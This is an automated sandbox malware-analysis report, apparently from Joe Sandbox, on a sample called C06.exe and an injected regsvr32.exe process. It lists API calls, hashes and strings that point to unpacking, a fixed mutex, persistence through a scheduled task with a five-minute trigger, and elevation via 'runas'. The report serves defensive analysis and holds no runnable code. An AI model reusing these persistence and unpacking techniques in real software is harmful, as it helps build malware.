Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 4e4ca4c176c13f33404f475f741e0ec76328ff7df4a93e4ba6e8cf75dc30c6a1
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 2B91B172D103299BCF21DFA4CD847AEB7F5BF04304F240569E915A3240E776EA18CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0232D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0232D77E
_malloc.LIBCMT ref: 0232D7B2
_malloc.LIBCMT ref: 0232D7C1
_fprintf.LIBCMT ref: 0232D815

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 06ec601364e6d76d11b5ebd931b24a3aaf28f23c3f959ef416d8099e617d84d2
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 2AA160B1C0025CEBEF21EFE4C845BDEBBB6AF15304F140168E50576291D7BA5A48CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 02342AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02342B2E
__read_nolock.LIBCMT ref: 02342BFE
__filbuf.LIBCMT ref: 02342C21
_memset.LIBCMT ref: 02342C65

Part of subcall function 02345BA8: __getptd_noexit.LIBCMT ref: 02345BA8

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 79f742fb548784f7e2e2796a9f527f7d1b2579f9c910a981b330a1991b33fe0e
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 03517070A002069BDB298E79888466FB7F6AF40324F1487A9FC75A66D0DF71BE51CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0040F303 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0040F337
__isleadbyte_l.LIBCMT ref: 0040F36B
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,75FF5003,00BFBBEF,00000000,?,?,?,0040DD66,00000109,00BFBBEF,00000003), ref: 0040F39C
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,00000001,00BFBBEF,00000000,?,?,?,0040DD66,00000109,00BFBBEF,00000003), ref: 0040F40A

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 356930a46b9939c7f4abf66d5cd4ec9e2d25bcebf949f38b53651e17aa1699d6
Instruction ID: 8a9955500a857a2ea05d2c05a6e4c1820c62b03486f1f61051fcecc9d9552f56
Opcode Fuzzy Hash: 356930a46b9939c7f4abf66d5cd4ec9e2d25bcebf949f38b53651e17aa1699d6
Instruction Fuzzy Hash: 8431AE31A04245EFDB30DFA4C880AAF7BA5FF01320B14857AE865AB6D1D334DD44DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040CE00 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040CE26

Part of subcall function 0040CC4B: __fltout2.LIBCMT ref: 0040CC77

__cftog_l.LIBCMT ref: 0040CE4C
__cftoe_l.LIBCMT ref: 0040CE7E

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: d95f80c182f32d9331188ded4d3e2a6736ee8beee96367c4d186d35a0d874d0d
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: CD11833200014AFBCF125F94DC81CEE3F22BB18754B588626FE1865171D33AD972AB85

Uniqueness

Uniqueness Score: -1.00%

Function 02361359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0236137D

Part of subcall function 02361A9D: __fltout2.LIBCMT ref: 02361AC6

__cftog_l.LIBCMT ref: 023613A3
__cftoe_l.LIBCMT ref: 023613D5

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: ee3f2d698e01c4f85ba92e7b15f919cf1f04d92c4bd52359f4568808ab8bbd8b
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: F7014B3240014ABBCF225E84DC09CEE3F6BBB19354B588415FA9E59A38D376C5B1AB81

Uniqueness

Uniqueness Score: -1.00%

Function 023E7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 023E7A4B

Part of subcall function 023E8140: ___BuildCatchObjectHelper.LIBCMT ref: 023E8172
Part of subcall function 023E8140: ___AdjustPointer.LIBCMT ref: 023E8189

_UnwindNestedFrames.LIBCMT ref: 023E7A62
___FrameUnwindToState.LIBCMT ref: 023E7A74
CallCatchBlock.LIBCMT ref: 023E7A98

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 086b17214e81005d6c0d8f29295f685c1c7d03e56c5172712db75a24825c790b
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 98012932000119BBCF22AF55CC01EEA7BBAFF48754F148014FD1965260C332E965DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCC1 Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040BCCD

Part of subcall function 00408B9E: __getptd_noexit.LIBCMT ref: 00408BA1
Part of subcall function 00408B9E: __amsg_exit.LIBCMT ref: 00408BAE

__getptd.LIBCMT ref: 0040BCE4
__amsg_exit.LIBCMT ref: 0040BCF2
__lock.LIBCMT ref: 0040BD02

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 1aa7ad5b49f530668a183e90a73bc9b4148c36d86bbe409b38833e7a6cb32ddf
Instruction ID: 6443b9aa99e448e0bf6d3968ec2c12d9b7c28233359361c2743831e0af7b7073
Opcode Fuzzy Hash: 1aa7ad5b49f530668a183e90a73bc9b4148c36d86bbe409b38833e7a6cb32ddf
Instruction Fuzzy Hash: 46F062319446049AE620BB659502B4973A0EF40758F11453FF891B72C2CF7C99018A9D

Uniqueness

Uniqueness Score: -1.00%

Function 004030B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

__set_statfp.LIBCMT ref: 00406F4B
__set_statfp.LIBCMT ref: 00406F66

Strings

, xrefs: 00406F5E

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: __set_statfp
String ID:
API String ID: 441778723-3916222277
Opcode ID: b93f1ad6da9f161b26d3a0711e0015d76606c11cab6f739c25b9afbe528431d0
Instruction ID: 11aad54f2528882901bcf2db76df730d0c82508eaf9a44be09392f3084751756
Opcode Fuzzy Hash: b93f1ad6da9f161b26d3a0711e0015d76606c11cab6f739c25b9afbe528431d0
Instruction Fuzzy Hash: FB31D32154E7CA4BCB138B7458542A97F709E02324B2A02DBC8C1BB1E7D32C4E29C79A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 6968, Parent PID: 6896COMMON

Execution Graph

Execution Coverage:	30.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	47
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 052752A0 Relevance: 5.0, APIs: 3, Instructions: 474
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05275669
VirtualProtect.KERNELBASE(?,?,00000000,?), ref: 052756CF
VirtualProtect.KERNELBASE(?,?,?,?), ref: 05275711

Memory Dump Source

Source File: 0000000A.00000002.2266242255.0000000005271000.00000020.00001000.00020000.00000000.sdmp, Offset: 05271000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5271000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: db7d9eacfaf8e68deb769c5b240af6083e8bafac2b1a66385a0af80ee647c3a1
Instruction ID: fbe4bd84459d3868c2995c9f4a67e9e5b539609dc8d87241e26b33332fabecd0
Opcode Fuzzy Hash: db7d9eacfaf8e68deb769c5b240af6083e8bafac2b1a66385a0af80ee647c3a1
Instruction Fuzzy Hash: F102E476A143448FD328CF29C8C4A9AB7E6FFC8314F558A2DD849DB255DB74E806CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0538D5B0 Relevance: 1.8, APIs: 1, Instructions: 294
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateThreadEx.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 0538D79B

Memory Dump Source

Source File: 0000000A.00000002.2266404944.0000000005381000.00000020.00001000.00020000.00000000.sdmp, Offset: 05381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5381000_regsvr32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 45a37d262d5c22f266d8e35c40aeba0317ed9f4d7022099393f1f69411d38f31
Instruction ID: d9fcd87e69e3ddb01fdf950c0fd96c47bfe22468f69e84f24b6aa3607529175e
Opcode Fuzzy Hash: 45a37d262d5c22f266d8e35c40aeba0317ed9f4d7022099393f1f69411d38f31
Instruction Fuzzy Hash: 1ED10D75E042288FDB18CFA9D950AADFBB2BF88310F258199D859B7345DB30AD45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05389190 Relevance: 1.7, APIs: 1, Instructions: 205
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 05389407

Memory Dump Source

Source File: 0000000A.00000002.2266404944.0000000005381000.00000020.00001000.00020000.00000000.sdmp, Offset: 05381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5381000_regsvr32.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: dc2e959338f8c09e406a85b4ca66c6f4d9d95d4a89862c41e59228732377b428
Instruction ID: 1308f6f7f0cf1b2e09bbdbf3041a52e63aa23f801e37f6342d7f9101ab9a664d
Opcode Fuzzy Hash: dc2e959338f8c09e406a85b4ca66c6f4d9d95d4a89862c41e59228732377b428
Instruction Fuzzy Hash: F181AE366183558FC718CF29C481AAAB7F3FFC8304F158A2DE4899B645D730A916CB92

Uniqueness

Uniqueness Score: -1.00%

Function 05381350 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0538159C

Memory Dump Source

Source File: 0000000A.00000002.2266404944.0000000005381000.00000020.00001000.00020000.00000000.sdmp, Offset: 05381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5381000_regsvr32.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 34e7df798cd744646aace536fdd4046d398c890a9631e494594fb9c0738b7e58
Instruction ID: d9e730ac693340e6bd60a3410097a082ea3bd060103f8e5316ba68ba34d1fa9f
Opcode Fuzzy Hash: 34e7df798cd744646aace536fdd4046d398c890a9631e494594fb9c0738b7e58
Instruction Fuzzy Hash: EA81A576A083518FC718CF25C48069AB7F3FBC9310F558A6DE8859B344D771AD06CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0538A2F0 Relevance: 1.7, APIs: 1, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,?,?,?,?,?), ref: 0538A524

Memory Dump Source

Source File: 0000000A.00000002.2266404944.0000000005381000.00000020.00001000.00020000.00000000.sdmp, Offset: 05381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5381000_regsvr32.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 780fc7cedd124e59cd37368036aa2eca44b9868ca04d598983f40d8835e2b592
Instruction ID: c960be0f272e639f37313a0ae78a0468a341b94fe4d72d7fbba74de3fd7e1b58
Opcode Fuzzy Hash: 780fc7cedd124e59cd37368036aa2eca44b9868ca04d598983f40d8835e2b592
Instruction Fuzzy Hash: EB719C766183408FC718DF29C881A6ABBE3BBC8314F19892DE595CB354D771E945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0538D9B0 Relevance: 1.5, APIs: 1, Instructions: 214
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 0538DC16

Memory Dump Source

Source File: 0000000A.00000002.2266404944.0000000005381000.00000020.00001000.00020000.00000000.sdmp, Offset: 05381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5381000_regsvr32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 46266eb4f3413f5d952e293cc2dc6910bf49e8c657aa67e732a2788b1dd23b49
Instruction ID: f3d026b501278d2735feabecce6d63144732886b203be8831663860b1188c8c6
Opcode Fuzzy Hash: 46266eb4f3413f5d952e293cc2dc6910bf49e8c657aa67e732a2788b1dd23b49
Instruction Fuzzy Hash: B281A932A183508FD718CF39D99166BB7E3BBC9310F19866DE4959B384CB74A805CB92

Uniqueness

Uniqueness Score: -1.00%

Function 053894A0 Relevance: 1.5, APIs: 1, Instructions: 201
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 053896E4

Memory Dump Source

Source File: 0000000A.00000002.2266404944.0000000005381000.00000020.00001000.00020000.00000000.sdmp, Offset: 05381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5381000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9ffe2f8e4bf3c4aeacd93dceb9980c8f660b5444947d0452dd764b832b5916ea
Instruction ID: 8c6fabd61e2c394032d0d54bb0664ab5d627b5290d10d1d9f74a8d5088c2c9d1
Opcode Fuzzy Hash: 9ffe2f8e4bf3c4aeacd93dceb9980c8f660b5444947d0452dd764b832b5916ea
Instruction Fuzzy Hash: 4371A1336097008FD314CE39C9516ABBBE3BBC9310F568A19E59597359DB30E809CB81

Uniqueness

Uniqueness Score: -1.00%

Function 03651E62 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 03651EB9
VirtualProtect.KERNELBASE ref: 03651F3A

Strings

`, xrefs: 03652199

Memory Dump Source

Source File: 0000000A.00000002.2265972671.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3650000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID: `
API String ID: 544645111-2679148245
Opcode ID: 10a09692e91cf50e1f09d147f5d67ed7a51341605766f9fd9bf5ada62b154198
Instruction ID: 264687724589bed29919764179d80079d688c20b953315a10d735a1a41a8194c
Opcode Fuzzy Hash: 10a09692e91cf50e1f09d147f5d67ed7a51341605766f9fd9bf5ada62b154198
Instruction Fuzzy Hash: E1A1ABB4E003288FDB24CF98C990B9DBBF1BF48310F1581AAD908AB356D735A985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 03651F9E Relevance: 1.6, APIs: 1, Instructions: 62
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 03651FEF

Memory Dump Source

Source File: 0000000A.00000002.2265972671.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3650000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a264e2ae46589c1b2ea0ba684ceaa6050bd2205c536276bfb5cb892c9fdb278c
Instruction ID: 71e547fab4cf2bd5761cbd186593c8ac6bbcde1a3b6bf3438cef07ac6103c845
Opcode Fuzzy Hash: a264e2ae46589c1b2ea0ba684ceaa6050bd2205c536276bfb5cb892c9fdb278c
Instruction Fuzzy Hash: 3931A0B5E012288FDB64CF08C990B99BBB2FF49304F1581E9C909AB356D775AA81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 03652659 Relevance: 1.3, APIs: 1, Instructions: 86
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 036526D0

Memory Dump Source

Source File: 0000000A.00000002.2265972671.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3650000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a92e72e11fedf5102e2e1b125b2b51d9d8a8b282a3ba9a3c0441616eddbc81ab
Instruction ID: ec6f85f25c8b8fc08f4365ef523d117e4937600031226e1b6c8f03aa4bff76c4
Opcode Fuzzy Hash: a92e72e11fedf5102e2e1b125b2b51d9d8a8b282a3ba9a3c0441616eddbc81ab
Instruction Fuzzy Hash: BD41F5B49002058FCB44DFA4C59479EBBF0FF48304F24856ED859AB341D376A946CF95

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: C06.exePID: 7096, Parent PID: 6836COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33.3%
Total number of Nodes:	859
Total number of Limit Nodes:	22

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,006BAD38,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
X1P, xrefs: 0041A485
x*P, xrefs: 0041ACE4
C:\Program Files\Google\, xrefs: 0041AFB9
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
--Admin, xrefs: 0041A1B4, 0041A632
IsNotTask, xrefs: 0041A654
D:\Program Files (x86)\Google\, xrefs: 0041B085
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
<, xrefs: 0041A67B
runas, xrefs: 0041A6CE
--Task, xrefs: 0041A2CD
--ForNetRes, xrefs: 0041A22E
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
x2Q, xrefs: 0041A856
I:\5d2860c89d774.jpg, xrefs: 0041B32F
list<T> too long, xrefs: 0041B669, 0041B673
IsNotAutoStart, xrefs: 0041A645
F:\, xrefs: 0041B397
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
D:\Windows\, xrefs: 0041AFF3
IsAutoStart, xrefs: 0041A1D0, 0041A273
%username%, xrefs: 0041B283
--AutoStart, xrefs: 0041A2EC
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
--Service, xrefs: 0041A30B
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
C:\Windows\, xrefs: 0041AE0F
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
IsTask, xrefs: 0041A1EE, 0041A299
D:\Program Files\Google\, xrefs: 0041B0EE
7P, xrefs: 0041B164

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

PT5M, xrefs: 0040D5A1, 0040D66C
2030-05-02T08:00:00, xrefs: 0040D737
--Task, xrefs: 0040D8DD
Time Trigger Task, xrefs: 0040D43C, 0040D973
Trigger1, xrefs: 0040D6FA
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
Author Name, xrefs: 0040D4C8
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

